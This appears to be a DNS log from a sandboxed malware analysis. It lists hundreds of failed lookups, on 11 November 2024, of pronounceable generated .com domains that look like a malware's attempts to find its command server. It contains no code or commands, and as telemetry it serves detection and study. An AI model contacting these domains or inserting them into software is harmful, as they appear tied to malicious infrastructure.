Nov 11, 2024 18:51:14.629007101 CET	1.1.1.1	192.168.2.6	0xf87d	Name error (3)	pumyliq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.629021883 CET	1.1.1.1	192.168.2.6	0x3a71	Name error (3)	qekynog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.629101992 CET	1.1.1.1	192.168.2.6	0x7de1	Name error (3)	lyvyjyr.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.629668951 CET	1.1.1.1	192.168.2.6	0xd88c	Name error (3)	qebyqeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.629725933 CET	1.1.1.1	192.168.2.6	0x3770	Name error (3)	vocymak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.630150080 CET	1.1.1.1	192.168.2.6	0x1412	Name error (3)	ganyqyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.630565882 CET	1.1.1.1	192.168.2.6	0xd1a8	Name error (3)	gacyhez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.636856079 CET	1.1.1.1	192.168.2.6	0x58d8	Name error (3)	pumywug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.651042938 CET	1.1.1.1	192.168.2.6	0xc056	Name error (3)	lysysyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.651053905 CET	1.1.1.1	192.168.2.6	0x9cf6	Name error (3)	vopypec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.652462959 CET	1.1.1.1	192.168.2.6	0x8848	Name error (3)	qebykul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.654305935 CET	1.1.1.1	192.168.2.6	0x3e27	Name error (3)	gacynow.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.672071934 CET	1.1.1.1	192.168.2.6	0xd797	Name error (3)	purytov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.672086000 CET	1.1.1.1	192.168.2.6	0xb3c2	Name error (3)	qexyhap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.672455072 CET	1.1.1.1	192.168.2.6	0xc188	Name error (3)	ganykuw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.672480106 CET	1.1.1.1	192.168.2.6	0xc10c	Name error (3)	pupypep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.673300982 CET	1.1.1.1	192.168.2.6	0xe2e7	Name error (3)	pupyxal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.673341990 CET	1.1.1.1	192.168.2.6	0xada	Name error (3)	galynab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.673794985 CET	1.1.1.1	192.168.2.6	0x962d	Name error (3)	lysyxar.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.673819065 CET	1.1.1.1	192.168.2.6	0x6389	Name error (3)	lyrytod.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.673935890 CET	1.1.1.1	192.168.2.6	0x71a3	Name error (3)	gahydyb.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.673964977 CET	1.1.1.1	192.168.2.6	0x44c8	Name error (3)	pujyduv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.674320936 CET	1.1.1.1	192.168.2.6	0xfe7d	Name error (3)	galyfis.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.674370050 CET	1.1.1.1	192.168.2.6	0xd48b	Name error (3)	lyrylix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.674938917 CET	1.1.1.1	192.168.2.6	0xdbbf	Name error (3)	qexynol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.675065994 CET	1.1.1.1	192.168.2.6	0xfc6e	Name error (3)	qegyvuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.675076008 CET	1.1.1.1	192.168.2.6	0xaacd	Name error (3)	vowyrif.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.682511091 CET	1.1.1.1	192.168.2.6	0x876	Name error (3)	puvymaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.683378935 CET	1.1.1.1	192.168.2.6	0x55af	Name error (3)	lyvymej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.694231033 CET	1.1.1.1	192.168.2.6	0xb479	Name error (3)	qekyfiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.694554090 CET	1.1.1.1	192.168.2.6	0x402c	Name error (3)	pujybig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.694566965 CET	1.1.1.1	192.168.2.6	0x4802	Name error (3)	vojyduf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.717736959 CET	1.1.1.1	192.168.2.6	0xe260	Name error (3)	vonyqym.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.718512058 CET	1.1.1.1	192.168.2.6	0x1542	Name error (3)	lykynon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.719010115 CET	1.1.1.1	192.168.2.6	0x3cb9	Name error (3)	gaqyrib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.719434023 CET	1.1.1.1	192.168.2.6	0x5935	Name error (3)	lymywun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.719629049 CET	1.1.1.1	192.168.2.6	0x1a77	Name error (3)	qetytav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.719656944 CET	1.1.1.1	192.168.2.6	0x4e36	Name error (3)	qetylip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.723180056 CET	1.1.1.1	192.168.2.6	0xf89f	Name error (3)	vonykuk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.724472046 CET	1.1.1.1	192.168.2.6	0x8a22	Name error (3)	puvyjyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.726783037 CET	1.1.1.1	192.168.2.6	0x4cef	Name error (3)	gahyvuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.728990078 CET	1.1.1.1	192.168.2.6	0xad0a	Name error (3)	volygoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.731777906 CET	1.1.1.1	192.168.2.6	0xda41	Name error (3)	gatypas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.733505964 CET	1.1.1.1	192.168.2.6	0x251f	Name error (3)	lykyfud.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.738425970 CET	1.1.1.1	192.168.2.6	0x4668	Name error (3)	pufycyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.740222931 CET	1.1.1.1	192.168.2.6	0xbe53	Name error (3)	qeqyrug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.740231991 CET	1.1.1.1	192.168.2.6	0x52fd	Name error (3)	puzygop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.740250111 CET	1.1.1.1	192.168.2.6	0x496c	Name error (3)	lyxygax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.746213913 CET	1.1.1.1	192.168.2.6	0xf1d3	Name error (3)	vopyzot.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.755603075 CET	1.1.1.1	192.168.2.6	0xbfa3	Name error (3)	vojybim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:14.777965069 CET	1.1.1.1	192.168.2.6	0x9218	Name error (3)	qedyxel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.303109884 CET	1.1.1.1	192.168.2.6	0x5d0a	Name error (3)	puryjeq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.310357094 CET	1.1.1.1	192.168.2.6	0x5768	Name error (3)	qetykyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.327938080 CET	1.1.1.1	192.168.2.6	0x7c2d	Name error (3)	lyvynid.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.348854065 CET	1.1.1.1	192.168.2.6	0xb741	Name error (3)	vopykum.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.351047993 CET	1.1.1.1	192.168.2.6	0xe5e1	Name error (3)	vojypat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.389003992 CET	1.1.1.1	192.168.2.6	0x747	Name error (3)	qegytop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.431684017 CET	1.1.1.1	192.168.2.6	0x707c	Name error (3)	pupybul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:15.432456017 CET	1.1.1.1	192.168.2.6	0xdf5c	Name error (3)	pufygug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.163419962 CET	1.1.1.1	192.168.2.6	0xfcac	Name error (3)	gahypoz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.207483053 CET	1.1.1.1	192.168.2.6	0x45ab	Name error (3)	lykyvyx.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.217775106 CET	1.1.1.1	192.168.2.6	0x7098	Name error (3)	vopyrik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.218430996 CET	1.1.1.1	192.168.2.6	0x61dd	Name error (3)	pupytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.219274998 CET	1.1.1.1	192.168.2.6	0x86c2	Name error (3)	qekyvup.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.221983910 CET	1.1.1.1	192.168.2.6	0xe245	Name error (3)	vonyjef.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.222449064 CET	1.1.1.1	192.168.2.6	0x7bef	Name error (3)	qedylig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.223084927 CET	1.1.1.1	192.168.2.6	0xeae6	Name error (3)	lysytoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.224440098 CET	1.1.1.1	192.168.2.6	0x61ad	Name error (3)	qebyhag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.227435112 CET	1.1.1.1	192.168.2.6	0x4cdd	Name error (3)	gatykyh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.229922056 CET	1.1.1.1	192.168.2.6	0x1fd6	Name error (3)	lyxyfuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.232316971 CET	1.1.1.1	192.168.2.6	0xc450	Name error (3)	gaqyqez.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.233146906 CET	1.1.1.1	192.168.2.6	0x2059	Name error (3)	pufyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.264353991 CET	1.1.1.1	192.168.2.6	0x57fe	Name error (3)	vowyqyt.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.302380085 CET	1.1.1.1	192.168.2.6	0xd593	Name error (3)	gacyfih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.303829908 CET	1.1.1.1	192.168.2.6	0x160d	Name error (3)	lygyxad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.305270910 CET	1.1.1.1	192.168.2.6	0xb06c	Name error (3)	purywyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.306397915 CET	1.1.1.1	192.168.2.6	0x9429	Name error (3)	vocygim.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.308969975 CET	1.1.1.1	192.168.2.6	0xbe35	Name error (3)	lyrywur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.309319973 CET	1.1.1.1	192.168.2.6	0x9b3d	Name error (3)	gadyzib.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.309331894 CET	1.1.1.1	192.168.2.6	0x9568	Name error (3)	lymymax.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.314810038 CET	1.1.1.1	192.168.2.6	0x3fd8	Name error (3)	puzyduq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.329792023 CET	1.1.1.1	192.168.2.6	0xed43	Name error (3)	volydyk.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.344813108 CET	1.1.1.1	192.168.2.6	0xe67d	Name error (3)	lymyjyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.346544981 CET	1.1.1.1	192.168.2.6	0x61ca	Name error (3)	qeqyqep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.347302914 CET	1.1.1.1	192.168.2.6	0xdd08	Name error (3)	qexyfuq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.347827911 CET	1.1.1.1	192.168.2.6	0xaa11	Name error (3)	qetyrul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.348011971 CET	1.1.1.1	192.168.2.6	0xcf09	Name error (3)	pujycyp.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.348021984 CET	1.1.1.1	192.168.2.6	0x7ad2	Name error (3)	pupylug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.348073006 CET	1.1.1.1	192.168.2.6	0x646d	Name error (3)	puzybil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.348387003 CET	1.1.1.1	192.168.2.6	0xc00e	Name error (3)	lysylun.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.348562002 CET	1.1.1.1	192.168.2.6	0xd6d8	Name error (3)	vonymoc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.348572016 CET	1.1.1.1	192.168.2.6	0x820d	Name error (3)	ganynos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.349455118 CET	1.1.1.1	192.168.2.6	0x544f	Name error (3)	qekysel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.356220007 CET	1.1.1.1	192.168.2.6	0x92cb	Name error (3)	ganyhab.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.368128061 CET	1.1.1.1	192.168.2.6	0x4c71	Name error (3)	vofypam.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.377567053 CET	1.1.1.1	192.168.2.6	0x2498	Name error (3)	gatyruw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.377857924 CET	1.1.1.1	192.168.2.6	0x99a8	Name error (3)	volybut.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.377970934 CET	1.1.1.1	192.168.2.6	0x8ea6	Name error (3)	puvybuv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.378340960 CET	1.1.1.1	192.168.2.6	0x8b1d	Name error (3)	vojycec.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.378572941 CET	1.1.1.1	192.168.2.6	0xaae	Name error (3)	qedytoq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.378830910 CET	1.1.1.1	192.168.2.6	0xd29	Name error (3)	gadypah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.379831076 CET	1.1.1.1	192.168.2.6	0x7b7c	Name error (3)	galyvuz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.380744934 CET	1.1.1.1	192.168.2.6	0x2d4	Name error (3)	pumymap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.381243944 CET	1.1.1.1	192.168.2.6	0xa30e	Name error (3)	vocybuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.381561995 CET	1.1.1.1	192.168.2.6	0xcc61	Name error (3)	lykyser.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.381572008 CET	1.1.1.1	192.168.2.6	0x4272	Name error (3)	lyryjej.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.382468939 CET	1.1.1.1	192.168.2.6	0x2e9b	Name error (3)	pujypal.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.383260965 CET	1.1.1.1	192.168.2.6	0x9856	Name error (3)	lyxynir.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.384382963 CET	1.1.1.1	192.168.2.6	0x1f57	Name error (3)	puvygog.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.385256052 CET	1.1.1.1	192.168.2.6	0x892a	Name error (3)	qeqykyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.398708105 CET	1.1.1.1	192.168.2.6	0xbb57	Name error (3)	galydyw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.400521040 CET	1.1.1.1	192.168.2.6	0x3d38	Name error (3)	pumyjev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.402242899 CET	1.1.1.1	192.168.2.6	0x65af	Name error (3)	lyvygon.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.404037952 CET	1.1.1.1	192.168.2.6	0xe64d	Name error (3)	qebyniv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.440834999 CET	1.1.1.1	192.168.2.6	0xd61e	Name error (3)	qegyxav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.535593033 CET	1.1.1.1	192.168.2.6	0x8c85	Name error (3)	qeqysag.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.549108982 CET	1.1.1.1	192.168.2.6	0x68d2	Name error (3)	lymysan.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.556174994 CET	1.1.1.1	192.168.2.6	0x1ffa	Name error (3)	volykyc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.558809042 CET	1.1.1.1	192.168.2.6	0xf845	Name error (3)	gacyryw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.561117887 CET	1.1.1.1	192.168.2.6	0x56a6	Name error (3)	purycap.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.561367035 CET	1.1.1.1	192.168.2.6	0x8895	Name error (3)	vofymik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.567276955 CET	1.1.1.1	192.168.2.6	0x5818	Name error (3)	puvyxil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.567287922 CET	1.1.1.1	192.168.2.6	0x4395	Name error (3)	gahyhob.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.830760956 CET	1.1.1.1	192.168.2.6	0xbe23	Name error (3)	vofyzof.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.958311081 CET	1.1.1.1	192.168.2.6	0xeb12	Name error (3)	lygymoj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.960114956 CET	1.1.1.1	192.168.2.6	0x98f	Name error (3)	qebytiq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:16.979346037 CET	1.1.1.1	192.168.2.6	0x57ec	Name error (3)	lysynur.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:18.286184072 CET	1.1.1.1	192.168.2.6	0x14e9	Name error (3)	vonyzuf.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:18.321238041 CET	1.1.1.1	192.168.2.6	0x84b8	Name error (3)	gadyfuh.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:18.725720882 CET	1.1.1.1	192.168.2.6	0xb3bf	Name error (3)	qeqyxov.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.030030966 CET	1.1.1.1	192.168.2.6	0x20e	Name error (3)	qedyfyq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.164629936 CET	1.1.1.1	192.168.2.6	0x5dc9	Name error (3)	pumyxiv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.190470934 CET	1.1.1.1	192.168.2.6	0xdb27	Name error (3)	volyqat.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.219249964 CET	1.1.1.1	192.168.2.6	0xcdbd	Name error (3)	puzywel.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.230470896 CET	1.1.1.1	192.168.2.6	0x101e	Name error (3)	lyxywer.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.234350920 CET	1.1.1.1	192.168.2.6	0x1c9a	Name error (3)	qegyqaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.236841917 CET	1.1.1.1	192.168.2.6	0x9fd4	Name error (3)	qekyqop.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.252712965 CET	1.1.1.1	192.168.2.6	0x9f39	Name error (3)	galykes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.255418062 CET	1.1.1.1	192.168.2.6	0x226b	Name error (3)	qedynul.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.288642883 CET	1.1.1.1	192.168.2.6	0x5c82	Name error (3)	purydyv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.292002916 CET	1.1.1.1	192.168.2.6	0xe0a3	Name error (3)	ganypih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.294174910 CET	1.1.1.1	192.168.2.6	0xa3b9	Name error (3)	pujyjav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.299182892 CET	1.1.1.1	192.168.2.6	0x75d1	Name error (3)	gatyvyz.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.299653053 CET	1.1.1.1	192.168.2.6	0xcfd8	Name error (3)	qetyvep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.300775051 CET	1.1.1.1	192.168.2.6	0x8754	Name error (3)	lyvytuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.310890913 CET	1.1.1.1	192.168.2.6	0xd205	Name error (3)	lykyjad.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.313435078 CET	1.1.1.1	192.168.2.6	0xe3ee	Name error (3)	qekykev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.561220884 CET	1.1.1.1	192.168.2.6	0xbd8b	Server failure (2)	lysyfyj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.776245117 CET	1.1.1.1	192.168.2.6	0x2b58	Name error (3)	gadyrus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.777477980 CET	1.1.1.1	192.168.2.6	0xf2bf	Name error (3)	vonygit.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.777745962 CET	1.1.1.1	192.168.2.6	0x9996	Name error (3)	pumygil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.777885914 CET	1.1.1.1	192.168.2.6	0xf8b5	Name error (3)	lysywyd.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.778423071 CET	1.1.1.1	192.168.2.6	0x70e6	Name error (3)	pufytip.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.779073000 CET	1.1.1.1	192.168.2.6	0xdd89	Name error (3)	qedyruv.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.779654980 CET	1.1.1.1	192.168.2.6	0xe3c0	Name error (3)	lymygor.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.780297041 CET	1.1.1.1	192.168.2.6	0x8414	Name error (3)	qeqyhol.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.780977011 CET	1.1.1.1	192.168.2.6	0x296c	Name error (3)	puzyceg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.781462908 CET	1.1.1.1	192.168.2.6	0xe15c	Name error (3)	lyxyvyn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.781655073 CET	1.1.1.1	192.168.2.6	0xc589	Name error (3)	qexyvyg.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.782037973 CET	1.1.1.1	192.168.2.6	0x6ce5	Name error (3)	vowyjak.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.783345938 CET	1.1.1.1	192.168.2.6	0xa6ad	Name error (3)	qekyxaq.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.785840988 CET	1.1.1.1	192.168.2.6	0x4baf	Name error (3)	gacyvub.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.789290905 CET	1.1.1.1	192.168.2.6	0xb4c3	Name error (3)	gaqyhaw.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.797625065 CET	1.1.1.1	192.168.2.6	0xc128	Name error (3)	gacydes.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.797785044 CET	1.1.1.1	192.168.2.6	0x99b4	Name error (3)	gaqynih.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.797836065 CET	1.1.1.1	192.168.2.6	0x44b8	Name error (3)	lymynuj.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.798408985 CET	1.1.1.1	192.168.2.6	0x96d3	Name error (3)	qekytig.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.798422098 CET	1.1.1.1	192.168.2.6	0xa41c	Name error (3)	lykytin.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.800004959 CET	1.1.1.1	192.168.2.6	0x4ad3	Name error (3)	volycem.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.802431107 CET	1.1.1.1	192.168.2.6	0xaeee	Name error (3)	vofyruc.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.803117037 CET	1.1.1.1	192.168.2.6	0x6514	Name error (3)	lygytix.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.803165913 CET	1.1.1.1	192.168.2.6	0x7f6a	Name error (3)	lyryman.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.804626942 CET	1.1.1.1	192.168.2.6	0x4a67	Name error (3)	vojyzik.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.817600012 CET	1.1.1.1	192.168.2.6	0x26e9	Name error (3)	qedykep.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.818445921 CET	1.1.1.1	192.168.2.6	0x1fe2	Name error (3)	galycah.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.826853037 CET	1.1.1.1	192.168.2.6	0x92ea	Name error (3)	qebyvyl.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.835407972 CET	1.1.1.1	192.168.2.6	0x7f26	Name error (3)	vowymom.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.838274956 CET	1.1.1.1	192.168.2.6	0xccd5	Name error (3)	lysyjex.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.839874029 CET	1.1.1.1	192.168.2.6	0x39bf	Name error (3)	qexysev.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.842573881 CET	1.1.1.1	192.168.2.6	0x8d28	Name error (3)	gatyhos.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.859597921 CET	1.1.1.1	192.168.2.6	0x954b	Name error (3)	pujytug.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.859709978 CET	1.1.1.1	192.168.2.6	0x4031	Name error (3)	puzypav.com	none	none	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:51:19.860172987 CET	1.1.1.1	192.168.2.6	0xe2ae	Name error (3)	vofykyt.com	none	none	A (IP address)	IN (0x0001)	false
